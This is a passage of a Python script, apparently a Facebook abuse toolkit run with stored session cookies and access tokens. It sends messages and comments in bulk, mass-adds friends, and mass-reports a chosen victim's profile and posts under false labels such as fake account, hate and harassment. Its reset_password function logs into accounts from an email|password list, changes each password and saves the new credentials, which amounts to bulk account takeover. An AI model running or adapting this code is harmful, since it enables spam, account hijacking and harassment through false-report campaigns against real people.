  1616.     print("[*] start ...\n")
  1617.     for user in target:
  1618.         try:
  1619.             data=[]
  1620.             a=s.get(url.format("/messages/thread/%s/"%(user)),headers=hea).text
  1621.             bs=BS(a,"html.parser")
  1622.             for x in bs("form"):
  1623.                 if "/messages/send/?" in x["action"]:
  1624.                     data.append(x["action"])
  1625.                     break
  1626.             for x in bs("input"):
  1627.                 try:
  1628.                     if "fb_dtsg" in x["name"]:
  1629.                         data.append(x["value"])
  1630.                     if "jazoest" in x["name"]:
  1631.                         data.append(x["value"])
  1632.                         break
  1633.                 except:pass
  1634.             if len(data)==3:
  1635.                 send=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"body":msg,"ids["+user+"]":user},headers=hea)
  1636.                 if send.status_code==200:
  1637.                     print(f"[-] {bs.title.text} - success")
  1638.                 else:
  1639.                     print(f"[-] {bs.title.text} - failed")
  1640.             else:
  1641.                 print(f"[!] error when sending a message to {bs.title.text}")
  1642.         except requests.exceptions.ConnectionError:
  1643.             exit("[!] connection error")
  1644.         except IndexError:
  1645.             print(f"[!] error when sending a message to {bs.title.text}")
  1646.     exit("\n[*] done")
  1647.  
  1648. def maincatt():
  1649.     print("[*] checking cookies")
  1650.     try:
  1651.         s.cookies=cookie("log/cookies.log")
  1652.         s.cookies.load()
  1653.         f=s.get(url.format("/me"),headers=hea).text
  1654.         if "mbasic_logout_button" in str(f):
  1655.             print("[*] cookies valid")
  1656.             user=input("[?] target id: ")
  1657.             if user in [""]:
  1658.                 exit("[!] you stuppid")
  1659.             e=s.get(url.format("/%s?v=timeline"%(user)),headers=hea).text
  1660.             be=BS(e,"html.parser")
  1661.             if not "Pesan" in str(be):
  1662.                 exit("[!] target not found")
  1663.             link=[]
  1664.             for x in be.find_all("a",string="Pesan"):
  1665.                 link.append(x.get("href"))
  1666.             if len(link)==1:
  1667.                 id=re.findall(r"/thread/(.*?)/?entrypoint=",link[0])[0].replace("/?","")
  1668.             elif len(link)==2:
  1669.                 id=re.findall(r"/thread/(.*?)/?entrypoint=",link[1])[0].replace("/?","")
  1670.             limit=input("[?] how many: ")
  1671.             print("[!] type '<>' for newlines")
  1672.             msg=input("[?] message: ").replace("<>","\n")
  1673.             if limit in [""] and msg in [""]:
  1674.                 exit("[!] you stuppid")
  1675.         else:
  1676.             os.system("rm -rf log")
  1677.             exit("[warning] cookies not valid")
  1678.     except requests.exceptions.ConnectionError:
  1679.         exit("[!] connection error")
  1680.     except IndexError:
  1681.         exit("[!] error:)*")
  1682.     print(f"[*] sending a message to {be.title.text}")
  1683.     print("[*] delay 5 second")
  1684.     print("[*] start ...\n")
  1685.     for i in range(int(limit)):
  1686.         try:
  1687.             data=[]
  1688.             if len(link)==1:
  1689.                 a=s.get(url.format(link[0]),headers=hea).text
  1690.             elif len(link)==2:
  1691.                 a=s.get(url.format(link[1]),headers=hea).text
  1692.             bs=BS(a,"html.parser")
  1693.             for x in bs("form"):
  1694.                 if "/messages/send/?" in x["action"]:
  1695.                     data.append(x["action"])
  1696.                     break
  1697.             for x in bs("input"):
  1698.                 try:
  1699.                     if "fb_dtsg" in x["name"]:
  1700.                         data.append(x["value"])
  1701.                     if "jazoest" in x["name"]:
  1702.                         data.append(x["value"])
  1703.                         break
  1704.                 except:pass
  1705.             if len(data)==3:
  1706.                 msgg=msg.replace("\n","")
  1707.                 send=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"body":msg,"ids["+id+"]":id},headers=hea)
  1708.                 if send.status_code==200:
  1709.                     print(f"[-] {msgg} - success")
  1710.                 else:
  1711.                     print(f"[-] {msgg} - failed")
  1712.             else:
  1713.                 print(f"[!] error when sending a message to {id}")
  1714.             sleep(5)
  1715.         except requests.exceptions.ConnectionError:
  1716.             exit("[!] connection error")
  1717.         except IndexError:
  1718.             print(f"[!] error when sending a message to {id}")
  1719.     exit("\n[*] done")
  1720.  
  1721. def reaccom():
  1722.     global tipe,tip
  1723.     menu_reactions()
  1724.     CH=input("[+] reactions/coment_> ")
  1725.     if CH in [""]:
  1726.         exit("[!] you stuppid")
  1727.     elif CH in ["1","01"]:
  1728.         tipe="0"
  1729.         tip="LIKE"
  1730.         reaccmpost()
  1731.     elif CH in ["2","02"]:
  1732.         tipe="1"
  1733.         tip="LOVE"
  1734.         reaccmpost()
  1735.     elif CH in ["3","03"]:
  1736.         tipe="3"
  1737.         tip="WOW"
  1738.         reaccmpost()
  1739.     elif CH in ["4","04"]:
  1740.         tipe="2"
  1741.         tip="HAHA"
  1742.         reaccmpost()
  1743.     elif CH in ["5","05"]:
  1744.         tipe="4"
  1745.         tip="SAD"
  1746.         reaccmpost()
  1747.     elif CH in ["6","06"]:
  1748.         tipe="5"
  1749.         tip="ANGRY"
  1750.         reaccmpost()
  1751.     elif CH in ["0","00"]:
  1752.         menu()
  1753.     else:
  1754.         exit("[!] you stuppid")
  1755.  
  1756. def reaccmpost():
  1757.     print("[*] checking cookies")
  1758.     try:
  1759.         s.cookies=cookie("log/cookies.log")
  1760.         s.cookies.load()
  1761.         a=s.get(url.format("/me"),headers=hea).text
  1762.         if "mbasic_logout_button" in str(a):
  1763.             print("[*] cookies valid")
  1764.             print("[!] use https://mbasic.facebook.com/")
  1765.             link=input("[?] post link: ")
  1766.             if link in [""]:
  1767.                 exit("[!] you stuppid")
  1768.             mainrecom(link)
  1769.         else:
  1770.             os.system("rm -rf log")
  1771.             exit("[warning] cookies not valid")
  1772.     except requests.exceptions.ConnectionError:
  1773.         exit("[!] connection error")
  1774. def mainrecom(link):
  1775.     try:
  1776.         a=s.get(link,headers=hea).text
  1777.         bs=BS(a,"html.parser")
  1778.         if not "Tanggapi" in str(bs):
  1779.             exit("[!] post not found")
  1780.         for x in bs.find_all("a",string="Tanggapi"):
  1781.             if "/reactions/picker/?" in str(x):
  1782.                 target.append(url.format(x.get("href")))
  1783.                 print(f"\r[*] getting comment id > {len(target)}  ",end="")
  1784.                 sys.stdout.flush()
  1785.     except requests.exceptions.ConnectionError:
  1786.         exit("\n[!] connection error")
  1787.     print(f"\n[*] reactions tipe {tip}")
  1788.     print("[*] start ...\n")
  1789.     for id in target:
  1790.         try:
  1791.             data=[]
  1792.             ids=re.findall(r"/?ft_id=(.*?)&origin_uri=",id)[0]
  1793.             b=s.get(id,headers=hea).text
  1794.             bs1=BS(b,"html.parser")
  1795.             for c in bs1.find_all("a"):
  1796.                 try:
  1797.                     if "/ufi/reaction/?" in str(c):
  1798.                         data.append(c.get("href"))
  1799.                 except:pass
  1800.             rec=s.get(url.format(data[int(tipe)]),headers=hea)
  1801.             if rec.status_code==200:
  1802.                 print(f"[-] {ids} - success reactions")
  1803.             else:
  1804.                 print(f"[-] {ids} - failed to reactions")
  1805.         except IndexError:
  1806.             print("\n[!] Error:)*")
  1807.         except requests.exceptions.ConnectionError:
  1808.             exit("\n[!] connection error")
  1809.     exit("\n[*] done")
  1810.  
  1811. def spamcom():
  1812.     global limit,msg
  1813.     print("[*] checking cookies")
  1814.     try:
  1815.         s.cookies=cookie("log/cookies.log")
  1816.         s.cookies.load()
  1817.         a=s.get(url.format("/me"),headers=hea).text
  1818.         if "mbasic_logout_button" in str(a):
  1819.             print("[*] cookies valid")
  1820.             print("[!] use https://mbasic.facebook.com/")
  1821.             link=input("[?] post link: ")
  1822.             limit=input("[?] how many: ")
  1823.             print("[!] type '<>' fornewlines")
  1824.             msg=input("[?] message: ").replace("<>","\n")
  1825.             if link in [""] and limit in [""] and msg in [""]:
  1826.                 exit("[!] you stuppid")
  1827.             print("[*] delay 5 second")
  1828.             print("[*] start ...\n")
  1829.             mainspamcom(link)
  1830.         else:
  1831.             os.system("rm -rf log")
  1832.             exit("[warning] cookies not valid")
  1833.     except requests.exceptions.ConnectionError:
  1834.         exit("[!] connection error")
  1835. def mainspamcom(link):
  1836.     try:
  1837.         data=[]
  1838.         a=s.get(link,headers=hea).text
  1839.         bs=BS(a,"html.parser")
  1840.         if not "Tulis komentar..." in str(bs):
  1841.             exit("[!] post not found")
  1842.         for x in bs("form"):
  1843.             if "/a/comment.php?" in x["action"]:
  1844.                 data.append(x["action"])
  1845.                 break
  1846.         for x in bs("input"):
  1847.             if "fb_dtsg" in x["name"]:
  1848.                 data.append(x["value"])
  1849.             if "jazoest" in x["name"]:
  1850.                 data.append(x["value"])
  1851.                 break
  1852.         for i in range(int(limit)):
  1853.             if len(data)==3:
  1854.                 msgg=msg.replace("\n","")
  1855.                 com=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":[2],"comment_text":msg},headers=hea)
  1856.                 if com.status_code==200:
  1857.                     print(f"[-] {msgg} - success commented")
  1858.                 else:
  1859.                     print(f"[-] {msgg} - failed")
  1860.                 sleep(5)
  1861.         exit("\n[*] done")
  1862.     except requests.exceptions.ConnectionError:
  1863.         exit("[!] connection error")
  1864.        
  1865. def auto_add():
  1866.     menu_add()
  1867.     pl=input("[+] auto/add_> ")
  1868.     if pl in [""]:
  1869.         exit("[!] you stuppid")
  1870.     elif pl in ["1","01"]:
  1871.         add_Fgroups()
  1872.     elif pl in ["2","02"]:
  1873.         add_Ffriends()
  1874.     elif pl in ["0","00"]:
  1875.         menu()
  1876.     else:
  1877.         exit("[!] you stuppid")
  1878.  
  1879. def add_Fgroups():
  1880.     gid=input("[?] groups id: ")
  1881.     if gid in [""]:
  1882.         exit("[!] you stuppid")
  1883.     try:
  1884.         a=s.get(api.format("group/?id=%s&access_token=%s"%(gid,token)),headers=hea).json()["name"]
  1885.     except KeyError:
  1886.         exit("[!] groups id not found")
  1887.     except requests.exceptions.ConnectionError:
  1888.         exit("[!] connection error")
  1889.     limit=input("[?] how many: ")
  1890.     if limit in [""]:
  1891.         exit("[!] you stuppid")
  1892.     print("[*] fetching all user id")
  1893.     print(f"[*] from {a}")
  1894.     try:
  1895.         for x in s.get(api.format("%s/members?fields=name,id&limit=%s&access_token=%s"%(gid,limit,token)),headers=hea).json()["data"]:
  1896.             target.append(x["id"])
  1897.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1898.             sys.stdout.flush()
  1899.             sleep(0.003)
  1900.     except KeyError:
  1901.         exit("\n[!] failed to retrive all user id")
  1902.     except requests.exceptions.ConnectionError:
  1903.         print("\n[!] failed to retrive all user id")
  1904.         exit("[!] check your connection")
  1905.     print("\n[*] all user id successfully retrieved")
  1906.     print("[*] delay 10 second")
  1907.     print("[*] start ...\n")
  1908.     for id in target:
  1909.         try:
  1910.             add=s.post(api.format("me/friends?method=post&uids=%s&access_token=%s"%(id,token)),headers=hea).json()
  1911.             if add==True:
  1912.                 print(f"[-] {id} - success")
  1913.             else:
  1914.                 print(f"[-] {id} - failed")
  1915.             sleep(10)
  1916.         except requests.exceptions.ConnectionError:
  1917.             exit("[!] connection error")
  1918.     exit("\n[*] done")
  1919.    
  1920. def add_Ffriends():
  1921.     fid=input("[?] friends id: ")
  1922.     if fid in [""]:
  1923.         exit("[!] you stuppid")
  1924.     try:
  1925.         a=s.get(api.format("%s?access_token=%s"%(fid,token)),headers=hea).json()["name"]
  1926.     except KeyError:
  1927.         exit("[!] friends id not found")
  1928.     except requests.exceptions.ConnectionError:
  1929.         exit("[!] connection error")
  1930.     limit=input("[?] how many: ")
  1931.     if limit in [""]:
  1932.         exit("[!] you stuppid")
  1933.     print("[*] fetching all user id")
  1934.     print(f"[*] from {a}")
  1935.     try:
  1936.         for x in s.get(api.format("%s/friends?fields=name,id&limit=%s&access_token=%s"%(fid,limit,token)),headers=hea).json()["data"]:
  1937.             target.append(x["id"])
  1938.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1939.             sys.stdout.flush()
  1940.             sleep(0.003)
  1941.     except KeyError:
  1942.         exit("\n[!] failed to retrive all user id")
  1943.     except requests.exceptions.ConnectionError:
  1944.         print("\n[!] failed to retrive all user id")
  1945.         exit("[!] check your connection")
  1946.     print("\n[*] all user id successfully retrieved")
  1947.     print("[*] delay 10 second")
  1948.     print("[*] start ...\n")
  1949.     for id in target:
  1950.         try:
  1951.             add=s.post(api.format("me/friends?method=post&uids=%s&access_token=%s"%(id,token)),headers=hea).json()
  1952.             if add==True:
  1953.                 print(f"[-] {id} - success")
  1954.             else:
  1955.                 print(f"[-] {id} - failed")
  1956.             sleep(10)
  1957.         except requests.exceptions.ConnectionError:
  1958.             exit("[!] connection error")
  1959.     exit("\n[*] done")
  1960.  
  1961. def unadd():
  1962.     print("[*] checking cookies")
  1963.     try:
  1964.         s.cookies=cookie("log/cookies.log")
  1965.         s.cookies.load()
  1966.         a=s.get(url.format("/me"),headers=hea).text
  1967.         if "mbasic_logout_button" in str(a):
  1968.             print("[*] cookies valid")
  1969.             mainunadd(url.format("/friends/center/requests/outgoing"))
  1970.         else:
  1971.             os.system("rm -rf log")
  1972.             exit("[warning] cookies not valid")
  1973.     except requests.exceptions.ConnectionError:
  1974.         exit("[!] connection error")
  1975. def mainunadd(link):
  1976.     try:
  1977.         a=s.get(link,headers=hea).text
  1978.         bs=BS(a,"html.parser")
  1979.         if "Batalkan Permintaan" in str(a):
  1980.             for x in bs.find_all("a",string="Batalkan Permintaan"):
  1981.                 target.append(x.get("href"))
  1982.                 print(f"\r[*] getting friends requests id > {len(target)}  ",end="")
  1983.                 sys.stdout.flush()
  1984.         if "Lihat selengkapnya" in str(bs):
  1985.             mainunadd(url.format(bs.find("a",string="Lihat selengkapnya").get("href")))
  1986.     except requests.exceptions.ConnectionError:
  1987.         exit("\n[!] connection error")
  1988.     input("\n[*] press enter to continue ")
  1989.     print("[*] start ...\n")
  1990.     m=ThreadPool(10)
  1991.     m.map(mainun,target)
  1992.     exit("\n[*] done")
  1993. def mainun(id):
  1994.     try:
  1995.         un=s.get(url.format(id),headers=hea)
  1996.         ida=re.findall(r"/?subject_id=(.*?)&ref_param=",id)
  1997.         if un.status_code==200:
  1998.             try:
  1999.                 print(f"[-] {ida[0]} - success")
  2000.             except IndexError:
  2001.                 print("[-] - success")
  2002.         else:
  2003.             try:
  2004.                 print(f"[-] {ida[0]} - failed")
  2005.             except IndexError:
  2006.                 print(f"[-] - failed")
  2007.     except requests.exceptions.ConnectionError:
  2008.         exit("\n[!] connection error")
  2009.  
  2010. def reportt():
  2011.     global idt
  2012.     print("[*] checking cookies")
  2013.     try:
  2014.         s.cookies=cookie("log/cookies.log")
  2015.         s.cookies.load()
  2016.         a=s.get(url.format("/me"),headers=hea).text
  2017.         if "mbasic_logout_button" in str(a):
  2018.             print("[*] cookies valid")
  2019.             idt=input("[?] target id: ")
  2020.             if idt.lower() in ["","dulahz","100005584243934","dulahz/","100005584243934/"]:
  2021.                 exit("[!] you stuppid")
  2022.             mainreportgid(url.format("/%s?v=timeline"%(idt)))
  2023.         else:
  2024.             os.system("rm -rf log")
  2025.             exit("[warning] cookies not valid")
  2026.     except requests.exceptions.ConnectionError:
  2027.         exit("[!] connection error")
  2028. def mainreportgid(link):
  2029.     try:
  2030.         a=s.get(link,headers=hea).text
  2031.         bs=BS(a,"html.parser")
  2032.         if "Cari Dukungan atau Laporkan Postingan" in str(a):
  2033.             for x in bs.find_all("a",string="Cari Dukungan atau Laporkan Postingan"):
  2034.                 target.append(url.format(x.get("href")))
  2035.                 print(f"\r[*] getting post id > {len(target)}  ",end="")
  2036.                 sys.stdout.flush()
  2037.         else:
  2038.             exit("[!] target id not found")
  2039.         if "ihat gBerita Lain" in str(a):
  2040.             mainreportgid(url.format(bs.find("a",string="Lihat Berita Lain").get("href")))
  2041.     except requests.exceptions.ConnectionError:
  2042.         exit("[!] connection error")
  2043.     gasreport(target)
  2044.    
  2045. def gasreport(ipost):
  2046.     loop=0
  2047.     try:
  2048.         data=[]
  2049.         a=s.get(url.format("/%s"%(idt)),headers=hea).text
  2050.         bs=BS(a,"html.parser")
  2051.         name=bs.find("title").renderContents().decode("utf-8", "ignore")
  2052.         print(f"\n[*] report profile {name} type fake account")
  2053.         print("[*] start ...\n")
  2054.         if "Lainnya" in str(a):
  2055.             b=s.get(url.format(bs.find("a",string="Lainnya").get("href")),headers=hea).text
  2056.             bs1=BS(b,"html.parser")
  2057.             if "Cari Dukungan atau Laporkan Profil" in str(b):
  2058.                 c=s.get(url.format(bs1.find("a",string="Cari Dukungan atau Laporkan Profil").get("href")),headers=hea).text
  2059.                 bs2=BS(c,"html.parser")
  2060.                 for x in bs2("form"):
  2061.                     data.append(x["action"])
  2062.                 for x in bs2("input"):
  2063.                     try:
  2064.                         if "fb_dtsg" in x["name"]:
  2065.                             data.append(x["value"])
  2066.                         if "jazoest" in x["name"]:
  2067.                             data.append(x["value"])
  2068.                             break
  2069.                     except:pass
  2070.                 if len(data)==3:
  2071.                     data1=[]
  2072.                     d=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"tag":"profile_fake_name"},headers=hea).text
  2073.                     bs3=BS(d,"html.parser")
  2074.                     for x in bs3("form"):
  2075.                         data1.append(x["action"])
  2076.                     for x in bs3("input"):
  2077.                         try:
  2078.                             if "fb_dtsg" in x["name"]:
  2079.                                 data1.append(x["value"])
  2080.                             if "jazoest" in x["name"]:
  2081.                                 data1.append(x["value"])
  2082.                                 break
  2083.                         except:pass
  2084.                     if len(data1)==3:
  2085.                         data2=[]
  2086.                         e=s.post(url.format(data1[0]),data={"fb_dtsg":data1[1],"jazoest":data1[2],"action_key":"FRX_PROFILE_REPORT_CONFIRMATION"},headers=hea).text
  2087.                         bs4=BS(e,"html.parser")
  2088.                         for x in bs4("form"):
  2089.                             data2.append(x["action"])
  2090.                         for x in bs4("input"):
  2091.                             try:
  2092.                                 if "fb_dtsg" in x["name"]:
  2093.                                     data2.append(x["value"])
  2094.                                 if "jazoest" in x["name"]:
  2095.                                     data2.append(x["value"])
  2096.                                     break
  2097.                             except:pass
  2098.                         if len(data2)==3:
  2099.                             f=s.post(url.format(data2[0]),data={"fb_dtsg":data1[1],"jazoest":data1[2],"checked":"yes","action":"Laporkan"},headers=hea).text
  2100.                             if "Anda telah mengirimkan laporan." in str(f):
  2101.                                 print("[-] - success")
  2102.                             else:
  2103.                                 print("[-] failed")
  2104.                         else:
  2105.                             print("[-] failed")
  2106.                     else:
  2107.                         print("[-] failed")
  2108.                 else:
  2109.                     print("[-] failed")
  2110.             else:
  2111.                 print("[-] failed")
  2112.         else:
  2113.             print("[-] - failed")
  2114.         print(f"\n[*] report post {name} type harassment and other.")
  2115.         print("[*] start ...\n")
  2116.         for id in ipost:
  2117.             loop+=1
  2118.             data3=[]
  2119.             g=s.get(id,headers=hea).text
  2120.             bs5=BS(g,"html.parser")
  2121.             for x in bs5("form"):
  2122.                 data3.append(x["action"])
  2123.             for x in bs5("input"):
  2124.                 try:
  2125.                     if "fb_dtsg" in x["name"]:
  2126.                         data3.append(x["value"])
  2127.                     if "jazoest" in x["name"]:
  2128.                         data3.append(x["value"])
  2129.                         break
  2130.                 except:pass
  2131.             if len(data3)==3:
  2132.                 data4=[]
  2133.                 h=s.post(url.format(data3[0]),data={"fb_dtsg":data3[1],"jazoest":data3[2],"tag":"harassment","action":"Kirim"},headers=hea).text
  2134.                 bs6=BS(h,"html.parser")
  2135.                 for x in bs6("form"):
  2136.                     data4.append(x["action"])
  2137.                 for x in bs6("input"):
  2138.                     try:
  2139.                         if "fb_dtsg" in x["name"]:
  2140.                             data4.append(x["value"])
  2141.                         if "jazoest" in x["name"]:
  2142.                             data4.append(x["value"])
  2143.                         if "RESOLVE_PROBLEM_REDIRECT" in x["value"] or "FRX_PROFILE_REPORT_CONFIRMATION" in x["value"]:
  2144.                             data4.append(x["value"])
  2145.                             break
  2146.                     except:pass
  2147.                 if len(data4)==4:
  2148.                     if "RESOLVE_PROBLEM_REDIRECT" in data4[3]:
  2149.                         data5=[]
  2150.                         j=s.post(url.format(data4[0]),data={"fb_dtsg":data4[1],"jazoest":data4[2],"action_key":"RESOLVE_PROBLEM_REDIRECT","action":"Kirim"},headers=hea).text
  2151.                         bs7=BS(j,"html.parser")
  2152.                         for x in bs7("form"):
  2153.                             data5.append(x["action"])
  2154.                         for x in bs7("input"):
  2155.                             try:
  2156.                                 if "fb_dtsg" in x["name"]:
  2157.                                     data5.append(x["value"])
  2158.                                 if "jazoest" in x["name"]:
  2159.                                     data5.append(x["value"])
  2160.                                     break
  2161.                             except:pass
  2162.                         if len(data5)==3:
  2163.                             data6=[]
  2164.                             k=s.post(url.format(data5[0]),data={"fb_dtsg":data5[1],"jazoest":data5[2],"answer":"offensive"},headers=hea).text
  2165.                             bs8=BS(k,"html.parser")
  2166.                             for x in bs8("form"):
  2167.                                 data6.append(x["action"])
  2168.                             for x in bs8("input"):
  2169.                                 try:
  2170.                                     if "fb_dtsg" in x["name"]:
  2171.                                         data6.append(x["value"])
  2172.                                     if "jazoest" in x["name"]:
  2173.                                         data6.append(x["value"])
  2174.                                 except:pass
  2175.                             if len(data6)==3:
  2176.                                 data7=[]
  2177.                                 if "Apa yang salah dengan foto ini?" in str(k):
  2178.                                     l=s.post(url.format(data6[0]),data={"fb_dtsg":data6[1],"jazoest":data6[2],"answer":"other"},headers=hea).text
  2179.                                     bs9=BS(l,"html.parser")
  2180.                                     for x in bs9("form"):
  2181.                                         data7.append(x["action"])
  2182.                                     for x in bs9("input"):
  2183.                                         try:
  2184.                                             if "fb_dtsg" in x["name"]:
  2185.                                                 data7.append(x["value"])
  2186.                                             if "jazoest" in x["name"]:
  2187.                                                 data7.append(x["value"])
  2188.                                                 break
  2189.                                         except:pass
  2190.                                     if len(data7)==3:
  2191.                                         data8=[]
  2192.                                         m=s.post(url.format(data7[0]),data={"fb_dtsg":data7[1],"jazoest":data7[2],"answer":"hate"},headers=hea).text
  2193.                                         bs10=BS(m,"html.parser")
  2194.                                         if "Kirimkan ke Facebook untuk Ditinjau" in str(m):
  2195.                                             for x in bs10("form"):
  2196.                                                 data8.append(x["action"])
  2197.                                             for x in bs10("input"):
  2198.                                                 try:
  2199.                                                     if "fb_dtsg" in x["name"]:
  2200.                                                         data8.append(x["value"])
  2201.                                                     if "jazoest" in x["name"]:
  2202.                                                         data8.append(x["value"])
  2203.                                                         break
  2204.                                                 except:pass
  2205.                                             if len(data8)==3:
  2206.                                                 n=s.post(url.format(data8[0]),data={"fb_dtsg":data8[1],"jazoest":data8[2],"action_key":"REPORT_CONTENT"},headers=hea).text
  2207.                                                 if "Dikirimkan ke Facebook untuk Ditinjau" in str(n):
  2208.                                                     print(f"[-] {loop} - success - hate")
  2209.                                                 else:
  2210.                                                     print(f"[-] {loop} - failed - hate")
  2211.                                             else:
  2212.                                                 print(f"[-] {loop} - failed - hate")
  2213.                                         else:
  2214.                                             print(f"[-] {loop} - failed - hate")
  2215.                                     else:
  2216.                                         print(f"[-] {loop} - failed - hate")
  2217.                                 elif "Apa yang salah dengan kiriman ini?" in str(k):
  2218.                                     l=s.post(url.format(data6[0]),data={"fb_dtsg":data6[1],"jazoest":data6[2],"answer":"hatespeech"},headers=hea).text
  2219.                                     bs9=BS(l,"html.parser")
  2220.                                     for x in bs9("form"):
  2221.                                         data7.append(x["action"])
  2222.                                     for x in bs9("input"):
  2223.                                         try:
  2224.                                             if "fb_dtsg" in x["name"]:
  2225.                                                 data7.append(x["value"])
  2226.                                             if "jazoest" in x["name"]:
  2227.                                                 data7.append(x["value"])
  2228.                                                 break
  2229.                                         except:pass
  2230.                                     if len(data7)==3:
  2231.                                         data8=[]
  2232.                                         m=s.post(url.format(data7[0]),data={"fb_dtsg":data7[1],"jazoest":data7[2],"answer":"individual"},headers=hea).text
  2233.                                         bs10=BS(m,"html.parser")
  2234.                                         for x in bs10("form"):
  2235.                                             data8.append(x["action"])
  2236.                                         for x in bs10("input"):
  2237.                                             try:
  2238.                                                 if "fb_dtsg" in x["name"]:
  2239.                                                     data8.append(x["value"])
  2240.                                                 if "jazoest" in x["name"]:
  2241.                                                     data8.append(x["value"])
  2242.                                                     break
  2243.                                             except:pass
  2244.                                         if len(data8)==3:
  2245.                                             data9=[]
  2246.                                             n=s.post(url.format(data8[0]),data={"fb_dtsg":data8[1],"jazoest":data8[2],"answer":"harassing_someone_else"},headers=hea).text
  2247.                                             bs11=BS(n,"html.parser")
  2248.                                             if "Kirimkan ke Facebook untuk Ditinjau" in str(n):
  2249.                                                 for x in bs11("form"):
  2250.                                                     data9.append(x["action"])
  2251.                                                 for x in bs11("input"):
  2252.                                                     try:
  2253.                                                         if "fb_dtsg" in x["name"]:
  2254.                                                             data9.append(x["value"])
  2255.                                                         if "jazoest" in x["name"]:
  2256.                                                             data9.append(x["value"])
  2257.                                                             break
  2258.                                                     except:pass
  2259.                                                 if len(data9)==3:
  2260.                                                     o=s.post(url.format(data9[0]),data={"fb_dtsg":data9[1],"jazoest":data9[2],"action_key":"REPORT_CONTENT"},headers=hea).text
  2261.                                                     if "Dikirimkan ke Facebook untuk Ditinjau" in str(o):
  2262.                                                         print(f"[-] {loop} - success - harassing someone else")
  2263.                                                     else:
  2264.                                                         print(f"[-] {loop} - failed - harassing someone else")
  2265.                                                 else:
  2266.                                                     print(f"[-] {loop} - failed - harassing someone else")
  2267.                                             else:
  2268.                                                 print(f"[-] {loop} - failed - harassing someone else")
  2269.                                         else:
  2270.                                             print(f"[-] {loop} - failed - harassing someone else")
  2271.                                     else:
  2272.                                         print(f"[-] {loop} - failed - harassing someone else")
  2273.                                 elif "Apa yang salah dengan postingan ini?" in str(k):
  2274.                                     l=s.post(url.format(data6[0]),data={"fb_dtsg":data6[1],"jazoest":data6[2],"answer":"againstbelief"},headers=hea).text
  2275.                                     bs9=BS(l,"html.parser")
  2276.                                     for x in bs9("form"):
  2277.                                         data7.append(x["action"])
  2278.                                     for x in bs9("input"):
  2279.                                         try:
  2280.                                             if "fb_dtsg" in x["name"]:
  2281.                                                 data7.append(x["value"])
  2282.                                             if "jazoest" in x["name"]:
  2283.                                                 data7.append(x["value"])
  2284.                                                 break
  2285.                                         except:pass
  2286.                                     if len(data7)==3:
  2287.                                         m=s.post(url.format(data7[0]),data={"fb_dtsg":data7[1],"jazoest":data7[2],"action_key":"REPORT_CONTENT"},headers=hea).text
  2288.                                         if "Dikirimkan ke Facebook untuk Ditinjau" in str(m):
  2289.                                             print(f"[-] {loop} - success - againstbelief")
  2290.                                         else:
  2291.                                             print(f"[-] {loop} - failed - againstbelief")
  2292.                                     else:
  2293.                                         print(f"[-] {loop} - failed - againstbelief")
  2294.                                 else:
  2295.                                     print(f"[-] {loop} - failed - harassment")
  2296.                     elif "FRX_PROFILE_REPORT_CONFIRMATION" in data4[3]:
  2297.                         data5=[]
  2298.                         j=s.post(url.format(data4[0]),data={"fb_dtsg":data4[1],"jazoest":data4[2],"action_key":"FRX_PROFILE_REPORT_CONFIRMATION","action":"Kirim"},headers=hea).text
  2299.                         bs7=BS(j,"html.parser")
  2300.                         for x in bs7("form"):
  2301.                             data5.append(x["action"])
  2302.                         for x in bs7("input"):
  2303.                             try:
  2304.                                 if "fb_dtsg" in x["name"]:
  2305.                                     data5.append(x["value"])
  2306.                                 if "jazoest" in x["name"]:
  2307.                                     data5.append(x["value"])
  2308.                                     break
  2309.                             except:pass
  2310.                         if len(data5)==3:
  2311.                             k=s.post(url.format(data5[0]),data={"fb_dtsg":data5[1],"jazoest":data5[2],"checked":"yes","action":"Laporkan"},headers=hea).text
  2312.                             if "Dikirimkan ke Facebook untuk Ditinjau" in str(k):
  2313.                                 print(f"[-] {loop} - success - harassment")
  2314.                             else:
  2315.                                 print(f"[-] {loop} - failed - harassment")
  2316.                         else:
  2317.                             print(f"[-] {loop} - failed - harassment")
  2318.                     else:
  2319.                         print(f"[-] {loop} - failed - harassment")
  2320.     except requests.exceptions.ConnectionError:
  2321.         exit("\n[!] connection error")
  2322.     exit("\n[*] done")
  2323.  
  2324. def reset_password():
  2325.     global newpas
  2326.     print('[!] sparator email|password')
  2327.     file=input("[?] lists account: ")
  2328.     try:
  2329.         for ac in open(file,"r").read().splitlines():
  2330.             target.append(ac)
  2331.     except IOError:
  2332.         exit("[!] file not found")
  2333.     print("[!] password must be of minimum 6 characters")
  2334.     newpas=input("[?] new password: ")
  2335.     input("[?] you are sure to continue? [press enter] ")
  2336.     print("[*] start ...\n")
  2337.     for ida in target:
  2338.         try:
  2339.             br.open("https://mbasic.facebook.com/login")
  2340.             br._factory.is_html=True
  2341.             br.select_form(nr=0)
  2342.             br.form["email"]=ida.split("|")[0]
  2343.             br.form["pass"]=ida.split("|")[1]
  2344.             br.submit()
  2345.             login=br.geturl()
  2346.             if "save-device" in str(login):
  2347.                 change_pass(ida)
  2348.             elif "checkpoint" in str(login):
  2349.                 print(f"[-] checkpoint - {ida}")
  2350.             else:
  2351.                 print(f"[-] wrong - {ida}")
  2352.         except:pass
  2353.     print("\n[*] done")
  2354.     exit("[#] file save as: repass/new_pass.txt")
  2355.    
  2356. def change_pass(ida):
  2357.     try:
  2358.         br.open(url.format("/settings/security/password/"))
  2359.     except mechanize.URLError:
  2360.         exit("\n[!] connection error")
  2361.     br._factory.is_html = True
  2362.     br.select_form(nr=1)
  2363.     br.form['password_old']=ida.split('|')[1]
  2364.     br.form['password_new']=newpas
  2365.     br.form['password_confirm']=newpas
  2366.     sub=br.submit().read()
  2367.     if "Kata Sandi Telah Diubah" in str(sub) or "Password Changed" in str(sub):
  2368.         try:
  2369.             os.mkdir("repass")
  2370.         except:pass
  2371.         open("repass/new_pass.txt","a").write(f"{ida.split('|')[0]}|{newpas}\n")
  2372.         print(f"[-] success - {ida.split('|')[0]}|{newpas}")
  2373.     elif "Kata sandi paling sedikit harus berisi 6 karakter." in str(sub) or "Password must be at least 6 characters in length." in str(sub):
  2374.         print("[warning] password must be at least 6 characters in length.")
  2375.  
  2376. def account_checker():
